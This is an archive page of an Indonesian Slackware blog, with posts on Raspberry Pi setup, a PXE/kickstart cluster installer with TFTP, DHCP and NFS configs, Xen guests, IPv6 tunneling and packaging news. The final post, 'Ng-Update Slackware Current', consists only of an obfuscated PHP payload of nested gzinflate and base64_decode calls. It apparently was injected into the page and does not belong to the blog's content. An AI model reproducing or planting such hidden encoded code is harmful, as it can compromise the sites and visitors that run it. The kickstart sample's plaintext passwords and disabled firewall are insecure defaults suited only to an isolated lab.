Delicious

Archives

Categories

Archive for 'Slackware' Category





« »

Raspberry Pi – Slackware

  ozzie / 08/12/2012
# wget http://www.daves-collective.co.uk/raspi/images/raspi-slack-installer_01Aug12.img.xz
# xz -dc raspi-slack-installer_01Aug12.img.xz | dd of=/dev/mmcblk0  bs=65536

install Slackware seperti biasa (via network) sampai selesai.. tapi jgn reboot

# mount -t vfat /dev/mmcblk0p1 /mnt/boot
# ROOT=/mnt installpkg /raspi-extra/kernel* /raspi-extra/raspi*
# reboot



tadaaaaaa <:-p

ref :

http://www.daves-collective.co.uk/raspi/
http://elinux.org/RPi_Low-level_peripherals



PXE installer

  ozzie / 27/11/2012

just share & sekedar dokumentasi:
mungkin judulnya Gado-gado dari PXE (Preboot eXecution Environment) installer cross distro :)) :))

jika sekedar install system cluster linux pada 1, 2, 3 atau 5 mungkin gak ada masalah :-??
tapi…. jika install cluster di 100?… 200?… 500 mesin linux? atau lebih?? demi High-Availability 8-> cabut colok monitor keyboard? apeee dehh 8-} 8-}

mungkin lebih tepatnya: “create RedHat/CentOS automatic installer dgn TFTp / Kickstart & NFS di slackware” cmmiw :">

1. TFTP
untuk slackware ada 2 cara mengaktifkan service tftp:
- via service rc.inetd (/etc/inet.d.conf)

tftp  dgram   udp     wait    root    /usr/sbin/in.tftpd  in.tftpd -s /tftpboot -r blksize

- atau create init script (/etc/rc.d/rc.tftpd)

#!/bin/sh
# Start/stop/restart the IPv4 Trivial File Transfer Protocol server (in.tftpd)
# Written for Slackware Linux by Erik Jan Tromp
 
tftpd_start() {
  if [ -x /usr/sbin/in.tftpd ]; then
    echo "Starting in.tftpd:  /usr/sbin/in.tftpd -l -s /tftpboot/"
    /usr/sbin/in.tftpd -l -s /tftpboot/
  fi
}
 
tftpd_stop() {
  killall in.tftpd
}
 
tftpd_restart() {
  tftpd_stop
  sleep 1
  tftpd_start
}
 
case "$1" in
'start')
  tftpd_start
  ;;
'stop')
  tftpd_stop
  ;;
'restart')
  tftpd_restart
  ;;
*)
  echo "usage: $0 start|stop|restart"
esac

buat direktory /tftpboot & copy pxelinux.0 dari CD/DVD RedHat/CentOS & create pxelinux.cfg

# mkdir /tftpboot
# mkdir /tftpboot/pxelinux.cfg
#
# cp /mnt/cdrom/images/pxelinux.0  /tftpboot/pxelinux.0
# cd /tftpboot/pxelinux.cfg
# vi default

isi dari file konfigurasi default tftpboot:

default RHEL-Kickstart
label RHEL-Kickstart
  kernel isolinux/vmlinuz
  append initrd=isolinux/initrd.img text  ks=nfs:10.0.5.250:/tftpboot/kickstart/default.ks ksdevice=eth0

2. DHCP
- init script dhcp (/etc/rc.d/rc.dhcpd)

#!/bin/sh
# Start/stop/restart the DHCP Server (dhcpd)
# Written for Slackware Linux by Erik Jan Tromp
dhcpd_start() {
  if [ -x /usr/sbin/dhcpd -a -f /etc/dhcpd.conf ]; then
    echo "Starting dhcpd:  /usr/sbin/dhcpd -q eth0"
    /usr/sbin/dhcpd -q eth0
  fi
}
 
dhcpd_stop() {
  if [ -r /var/run/dhcpd.pid ] ; then
    kill `cat /var/run/dhcpd.pid`
  else
    killall dhcpd
  fi
}
 
dhcpd_restart() {
  dhcpd_stop
  sleep 1
  dhcpd_start
}
 
case "$1" in
'start')
  dhcpd_start
  ;;
'stop')
  dhcpd_stop
  ;;
'restart')
  dhcpd_restart
  ;;
*)
  echo "usage: $0 start|stop|restart"
esac

- konfigurasi DHCP (/etc/dhcpd.conf)

# dhcpd.conf
#
# Configuration file for ISC dhcpd
#
allow bootp;
 
 
subnet 10.0.5.0 netmask 255.255.255.0 {
    option domain-name "kebonbinatang.org";
    option broadcast-address 10.0.5.255;
    option subnet-mask 255.255.255.0;
    option routers 10.0.5.254;
}
 
group {
  next-server 10.0.5.250;          
  filename "/pxelinux.0";
 
  host node1 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.1;
  }
  host node2 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
	fixed-address 10.0.5.2;
  }
  host node3 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.3;
  }
  host node4 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.4;
  }
 
  ... Dan SeTerusnya....
}

3. NFS
- aktifkan service nfs & rpc

# chmod +x /etc/rc.nfsd
# chmod +x /etc/rc.rpc

- edit file /etc/exports

/tftpboot       10.0.5.0/24(ro,sync,insecure,all_squash)

4. Source Installer
- copy semua isi CD/DVD & buat file konfigurasi kickstart

# cp -rvf /mnt/cdrom /tftpboot
# mkdir /tftpboot/kickstart

- edit file /tftpboot/kickstart/default.ks

text   #text base installation
install  #fresh install
network --device=eth0 --bootproto=dhcp  --noipv6 #configure network based on alokasi dhcp
nfs --server=10.0.5.250 --dir=/tftpboot  #media pd saat install
lang en_US.UTF-8
keyboard us  #keyboard map
rootpw passwordnya-siroot 
#firewall --service=ssh #enable ssh
firewall --disabled  #disable firewall.. cuma lokal no public
selinux --enforcing
authconfig --enableshadow --enablemd5
timezone Asia/Jakarta
bootloader --location=mbr --append="noexec=off"
skipx
reboot  #udh beres auto reboot
zerombr yes 
clearpart --all --initlabel  #bantai partisi
part /boot --fstype ext3 --size=150 --ondisk=sda #bikin partisi boot
part pv.01 --size=1 --grow --ondisk=sda # LVM
part pv.02 --size=1 --grow --ondisk=sda
volgroup rootvg pv.01
volgroup satvg pv.02
logvol /    --vgname=rootvg --size=xxxxxx --name=rootvol
logvol swap --vgname=rootvg --size=xxxxxx --name=swapvol
auth  --useshadow  --enablemd5
 
%packages 
@core
@high-availability
mc
drbd
 
%post
(
/bin/echo "Welcome to $HOSTNAME " > /etc/motd 
/bin/echo "Built from kickstart version $VER " >> /etc/motd
/bin/echo " " >> /etc/motd
 
## sedikit tweak
cat >> /etc/sysctl.conf << EOF
fs.aio-max-size = 1048576
fs.file-max = 327680
net.core.rmem_max = 262144
net.core.wmem_max = 262144
net.core.rmem_default = 262144
net.core.wmem_default = 262144
net.ipv4.ip_local_port_range = 1024 65000
net.ipv4.ip_forward = 0
kernel.shmmax = 2147483648
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
EOF
 
# Add  user sesuka hati
useradd -c "user cacad" -d /home/cacad cacad
echo cacad | passwd --stdin cacad
 
#edit host
cat > /etc/hosts << EOF
127.0.0.1       localhost.localdomain           localhost
10.0.5.1		node1.kebonbinatang.org	node1
10.0.5.2		node2.kebonbinatang.org	node2
10.0.5.3		node3.kebonbinatang.org	node3
10.0.5.4		node4.kebonbinatang.org	node4
10.0.5.5		node5.kebonbinatang.org	node5
10.0.5.6		node6.kebonbinatang.org	node6
10.0.5.7		node7.kebonbinatang.org	node7
10.0.5.8		node8.kebonbinatang.org	node8
dst
EOF
 
/sbin/chkconfig iptables off
/sbin/chkconfig ip6tables off
/sbin/chkconfig isdn off
/sbin/chkconfig postfix off
/sbin/chkconfig cman on
/sbin/chkconfig iscsi off
/sbin/chkconfig iscsid off
/sbin/chkconfig ntpd  off
/sbin/chkconfig sandbox off
 
 
# Turn some services on and off
) > /tmp/kickstart-install.log 2>&1

mungkin segini dulu sambil beresin dokumentasi.. 8-}



Slackware @ MacBook

  ozzie / 01/04/2012

Sebetulnya gw gak terlalu minat product Apple.. karena daily selalu pakek slackware anywhere, anytime.. hhihii.. tapi berhubung gak sengaja beli Macbook.. terpaksa langsung bantai pakek slackware dah .. :)) :))..

MacBook

untuk proses installasi slackware seperti biasa.. booting via cdrom dgn menekan key ‘C’.. install sesuai kebutuhan dah.. wireless, ethernet, vpn client, browser, ssh client, wine dll…

untuk hardware Macbook.. semua support di kernel 3.2.x (sound, vga, ethernet, touchpad, dll) hanya backlight aja yg agak ribet (cukup deres kuras battery). ubek2 mbah google dan nemu solusinya pakek pommed campur PCI Utils… sekian terima kasih.. :))



SlackBuild-IPv6-gogoc

  ozzie / 02/10/2011

IPv6 Tunnel Broker
http://slackbuilds.org/repository/13.37/network/gogoc/

 # wget http://slackbuilds.org/slackbuilds/13.37/network/gogoc.tar.gz
 # tar zxvf gogoc.tar.gz
 # cd gogoc
 # wget http://gogo6.com/downloads/gogoc-1_2-RELEASE.tar.gz
 # ./gogoc.SlackBuild 
...
...
...
...
...
usr/man/
usr/man/man5/
usr/man/man5/gogoc.conf.5.gz
usr/man/man8/
usr/man/man8/gogoc.8.gz
install/
install/doinst.sh
install/slack-desc
 
Slackware package /tmp/gogoc-1.2_RELEASE-i486-2_SBo.tgz created.
 # installpkg /tmp/gogoc-1.2_RELEASE-i486-2_SBo.tgz

register account @ http://gogo6.com/

edit configuration: /etc/gogoc.conf

userid=xxx
passwd=xxx

execute /etc/rc.d/rc.gogoc

# chmod +x /etc/rc.d/rc.gogoc
# /etc/rc.d/rc.gogoc start

# ifconfig tun
tun       Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00
          inet6 addr: 2001:c08:3700:ffff::5:1b74/128 Scope:Global
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1280  Metric:1
          RX packets:40 errors:0 dropped:0 overruns:0 frame:0
          TX packets:34 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:500 
          RX bytes:2512 (2.4 Kb)  TX bytes:2096 (2.0 Kb)

# traceroute6  ipv6.google.com
traceroute to ipv6.l.google.com (2404:6800:800b::68) from 2001:c08:3700:ffff::5:1fcc, 30 hops max, 16 byte packets
 1  2001:c08:3700:ffff::5:1fcb (2001:c08:3700:ffff::5:1fcb)  124.197 ms  74.005 ms  80.883 ms
 2  2001:c08:7f:2::175:1 (2001:c08:7f:2::175:1)  89.334 ms  87.463 ms  80.975 ms
 3  2001:c08:7f:1::20 (2001:c08:7f:1::20)  106.808 ms  76.62 ms  77.405 ms
 4  2001:4860::1:0:794 (2001:4860::1:0:794)  82.693 ms  80.722 ms  79.051 ms
 5  2001:4860::1:0:1063 (2001:4860::1:0:1063)  119.932 ms  115.409 ms  135.756 ms
 6  2001:4860::1:0:9d0 (2001:4860::1:0:9d0)  175.361 ms  137.619 ms  228.884 ms
 7  2001:4860::2:0:3c7 (2001:4860::2:0:3c7)  131.872 ms  131.083 ms  147.854 ms
 8  2001:4860:0:1::257 (2001:4860:0:1::257)  171.362 ms  133.46 ms  144.066 ms
 9  2404:6800:800b::68 (2404:6800:800b::68)  137.778 ms  134.995 ms  148.723 ms


Slackware guestOs @ XEN

  ozzie / 15/09/2011

sedikit dokumentasi hasil oprek2 Slackware sebagai Guest pada XEN.

Siapkan VirtualDisk, (contoh disini hanya 2GB & swap 512MB)

# mkdir -p /virtual/
# cd /virtual/
# dd if=/dev/zero of=/virtual/root0.img oflag=direct bs=1M seek=2047 count=1
# dd if=/dev/zero of=/virtual/swap0.img oflag=direct bs=1M seek=512 count=0

Download Pre-Build Kernel

wget http://blog.ozzie.web.id/pub/xen/kernel/vmlinOZ
wget http://kambing.ui.ac.id/slackware/slackware-13.37/isolinux/initrd.img

Create configuration: /etc/xen/darkstar.cfg

name = "darkstar"
memory = "128"
kernel = "/vmlinOZ"
ramdisk = "/initrd.img"
disk =['file:/virtual/root0.img,xvda,w','file:/virtual/swap0.img,xvdb,w' ,'file:/slackware-13.37-install-d1.iso,xvdc:cdrom,r']
vif = [ 'bridge=xenbr0,script=vif-bridge' ]
vcpus = "1"
extra = "load_ramdisk=1 prompt_ramdisk=0 rw"
extra = "root=/dev/xvda1 ro"

Jalankan Guest,

cd /etc/xen/
xm create darkstar -c

Lakukan Installasi seperti Biasa








EXIF @ slackware

  ozzie / 27/04/2011

untuk Membaca metadata EXIF dari file gambar di slackware 13.37 mungkin sudah dilengkapi dengan package GQview dan library l/exiv2..



mungkin untuk memanipulasi data exif… exiftool lebih ampuh… tapi untuk apa di manipulasi?? metadata EXIF nggak pernah boong…. gkgkggkgk TQ.



composing music on Slackware

  ozzie / 06/05/2010

mungkin yg sering compose partitur di MS.window dah terbiasa dengan aplikasi finale ;)) .. tapi di linux ada banyak aplikasi yg gak kalah manteb seperti MuseScore, lilypond, noteedit ampe Nted.. ato mungkin TuxGuitar


untuk paket slackware bisa download di: http://www.slacky.eu/aadm/pkgs/index.php?ver=13&pkg=2984


untuk paket slackware bisa download di: http://www.johannes-schoepfer.de/lilypond/

To be continued….. cobain dulu ahhh… ;)) ;))



split multiple console

  ozzie / 02/05/2010

Ketika dihadapkan dengan kondisi harus remote ke beberapa console / menjalankan aplikasi berbasis console tentu akan menghadapi beberapa window terminal dalam desktop… yg pastinya akan membuat taskbar penuh dengan terminal ;))

multiple shell

mungkin aplikasi termainator cukup membantu untuk menghemat window terminal :D



DSLR Camera on Slackware-13.0

  ozzie / 16/10/2009

Dengan datangnya hobby baru yaitu bermain DSLR Camera membuat penasaran ngoprek di Slackware – 13.0. yang dengan default install sudah dilengkapi dengan paket gPhoto2 untuk menghubungkan ke DSLR Camera dan OpenEXR untuk bermain teknik HDR..

dengan library gPhoto2 seharusnya sudah bisa men-download photo yg ada di camera, namun tentunya akan membuat sedikit repot dan dihadapkan dengan command-line.

untuk mempermudahnya Anda dapat menginstall paket gtkam sebagai penghubung ke DSLR camera melalui GUI..

atau Anda bisa mendownload package gtkam pada http://slackware.linux.or.id/pub/people/ozzienich/..

selamat menikmati ;)



slackware64-current

  ozzie / 21/06/2009

Mirror Slackware 12.2

  ozzie / 14/12/2008

rsync slackware-current

  ozzie / 19/06/2008

Melihat perkembangan ChangeLog Slackware-Current yang lumayan cepat.. dan bagi temen-temen yang tidak mau tertinggal dengan update package terbaru.. kini slackware.linux.or.id telah di lengkapi dengan fasilitas rsync.. <:-p<:-p<:-p

mengingat service ini lumayan memakan CPU load:">:">.. maka maximum connection di batasi cuman 5 connection per mesin.. :D:D

daftar mesin yang menyediakan service rsync bisa dilihat di : http://slackware.linux.or.id/modules.php?name=Mirror..

dan berikut penjelasan singkat dari penggunaan rsync : http://slackware.linux.or.id/wiki/index.php/Rsync_slackware-current ..
(Silahkan buat temen-temen nambahin wikinya :>:>:> )..



Slackware 12.0 on Alix

  ozzie / 24/05/2008

Rencananya sih pengen bikin Embedded-System ;))..
dengan campuran Alix 1c , Slackware 12.0.. berhubung storage nya pake CF (Compact Flash Memory) 1 GB… emang ramping:"> .. dengan kapasitas 1 GB dibikin 2 partisi @ 900MB buat partisi root ama 100MB buat swap :D:D.. paket yg di install cuman A, AP, L ama N ntuh jg baru 50% dari 900MB.. ;));)) dari I/O nya si Alix sih lumayan.. keyboard, vga, usb, serial, ethernet, sound out.. di tambah 1 slot pci ama 1 slot minipci. =p~=p~

Alix

monyet@kacung-24:~$ cat /proc/cpuinfo
processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 5
model           : 10
model name      : Geode(TM) Integrated Processor by AMD PCS
stepping        : 2
cpu MHz         : 498.057
cache size      : 128 KB
fdiv_bug        : no
hlt_bug         : no
f00f_bug        : no
coma_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid level     : 1
wp              : yes
flags           : fpu de pse tsc msr cx8 sep pge cmov clflush 
mmx mmxext 3dnowext 3dnow
bogomips        : 997.52
clflush size    : 32

kira2 bikin apah yak? :-?? yg gak perlu resource gede 8-> prosessor 500Mhz dengan 997.52 mips ama memory 256 MB:-?… ethernet/serial ditambah 1 slot pci/minipci 8->
accesspoint, router, ITG, SMS, firewall, LTSP client:-?… ato bikin product appliance kali yak? \:D/\:d/\:d/

UPDATE: akhirnya dapet kunjungan boss nya DSI:D:D
makasih pak udah mampir ke jakarta dan maen ke lantai 10 Century Tower ;));))



Packaging Madwifi…

  ozzie / 01/05/2008

Bengong liburan bertepatan hari buruh8->8->

Iseng packaging Madwifi versi 0.9.4.. buat driver wireless card (PCI dan MiniPCI) yang pake chipset Atheros..

SlackBuild nya udah sayah commit ke CVS slackware.linux.or.id.. :">:"> dan package nya sayah upload ke FTP slackware.linux.or.id untuk Slackware 12.0 dengan kernel 2.6.21.5 dan 2.6.21.5-smp



Slackbook

  ozzie / 11/02/2008

Ngeliat CVS slackbook yg mulai rampung di slackware.linux.or.id lalu iseng minta tambahin ama om alan list translation dari indonesia ;));));)) http://www.slackbook.org/translations.html

oiyah.:"> CVS slackware.linux.or.id udah ada CVSgraph nya :d



Ng-Update

  ozzie / 22/01/2008

Nambahin link mirror lokal http://slackware.biz.net.id .. <:-p
makasih buat Angky dan Yudhi Bejad :)) dari Biznet :D (rsync-nya ke Kandang KebonBinatang ajah.. ) :>:>

Nambahin CVS translate SlackBasic di:
http://slackware.linux.or.id/cgi-bin/viewcvs.cgi/slackbasic/



Packaging Asterisk + Zaptel

  ozzie / 23/12/2007

Liburan…:-s:-s Sepi…. :-s:-s dimana kau duhai……..ku 8-}8-}

sembari bengong 8->.. lalu packaging Asterisk release 1.4.16 sekalian ama Zaptel.. biar kalo perlu gak repot compile :">:">… lalu upload ke ftp://slackware.linux.or.id/pub/people/ozzienich.. (udah kelama kosong tuh folder ;));));)))

slackbuild nya udah sayah taro di http://slackware.linux.or.id/cgi-bin/viewcvs.cgi/slackbuild/12.0/ <:-p<:-p



MapServer

  ozzie / 03/12/2007

Iseng-iseng bengong di kasur ;)) . Ngoprek HostGIS di Slackware sembari maenin ikan ;));));))

Tadaaa…. <:-p \:d/\:d/\:d/
http://devel.ozzie.web.id/jagad/
maklumin ajah yak kalo berat :">:">… maklum bogomips cuman : 3185.04 buat query pgsql masing-masing Layer 8->8->

Segini dulu :">… sisanya nyusul l-) masih sibuk convert pake shp2pgsql #:-s

*Source: http://www.hostgis.com/linux/manual/



1 tahun slackware.linux.or.id

  ozzie / 30/10/2007

30 Oktober<:-p <:-p <:-p

Tepat 1 tahun usia slackware.linux.or.id ;));));))
Berawal dari diskusi temen-temen di forum linux :D:D
[http://forum.linux.or.id/viewtopic.php?p=43860]

Moga-moga slackware.linux.or.id dapat mem-fasilitas-i pengguna linux khususnya slackware di tanah air Indonesia Raya ini [-o<[-o<[-o<

Mohon masukan, saran dan kritik dari temen-temen mengenai slackware.linux.or.id untuk kedepannya… sesuai usulan dari temen-temen di milis slackware-id:-? mungkin bisa di bicarakan nanti di Jogja :>:> sekalian liburan \:d/\:d/\:d/



Ng-Update Slackware Current

  ozzie / 19/10/2007
".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>